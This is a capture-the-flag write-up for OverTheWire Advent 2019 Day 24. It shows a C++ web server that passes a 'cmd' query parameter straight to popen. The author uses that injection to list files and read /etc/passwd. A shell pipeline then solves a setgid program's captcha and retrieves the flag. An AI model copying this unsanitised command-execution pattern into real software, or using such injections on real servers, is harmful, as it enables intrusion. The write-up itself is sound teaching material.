OverTheWire Advent 2019 Day24 - Got shell - Writeup

Posted on

Visit the link, we get the web server's c++ code.

#include "crow_all.h"
#include <cstdio>
#include <iostream>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>
#include <sstream>

std::string exec(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
    if (!pipe) {
        return std::string("Error");
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
        result += buffer.data();
    return result;

int main() {
    crow::SimpleApp app;

    CROW_ROUTE(app, "/")
    ([](const crow::request& req) {
        std::ostringstream os;
        if(req.url_params.get("cmd") != nullptr){
            os << exec(req.url_params.get("cmd"));
        } else {
            os << exec("cat ./source.html"); 
        return crow::response{os.str()};


So we can use query string cmd to run the shell command we want to run, and we get the standard output back.

Some tips:

  • URL encode the command before you put it in the cmd query string, to make sure the server is running the command we want it to run.
  • pipe only receives from STDOUT. So to be able to see the error messages (if any) of our command, we can append 2>&1 in our command to redirect the STDERR to STDOUT.

By running ls -al we see

total 44
drwxr-xr-x 1 root root      4096 Dec 24 11:56 .
drwxr-xr-x 1 root root      4096 Dec 24 11:56 ..
----r----- 1 root gotshell    38 Dec 24 08:32 flag
------s--x 1 root gotshell 17576 Dec  5 17:26 flag_reader
-rw-rw-r-- 1 root root     10459 Dec 24 08:32 source.html

It's clear that we, nobody(run whoami and cat /etc/passwd) need to execute the flag_reader in some way to get the flag. Because flag_reader has the setgid bit set, and flag is readable by the same group gotshell.

By running ./flag_reader we get a captcha question

Got shell?
1890601277 + 1685840463 = Incorrect captcha :(

This shell privilege escape together with a captcha question reminds me of a CTF challenge I saw before. After some digging it's clear that it's minbashmaxfun from 34c3ctf. So I read some writeups of the challenge.

writeup 1 writeup 2

So the basic idea is to pipe the output of the flag_reader to another program, which calculate the captcha equation, and the calculated result is piped back to the STDIN of the flag_reader itself.

From the writeup I learnt that by reading and writing the same file we can accomplish this goal.

So I constructed the command

expr $(grep -o '.*+ [0-9]*' /tmp/random_name) | ./flag_reader > /tmp/random_name; cat /tmp/random_name

grep -o '.*+ [0-9]*' outputs only the string that satisfies the regular expression, which is the captcha equation. expr calculates the equation, and sends it to the flag_reader.

So we get the flag AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}.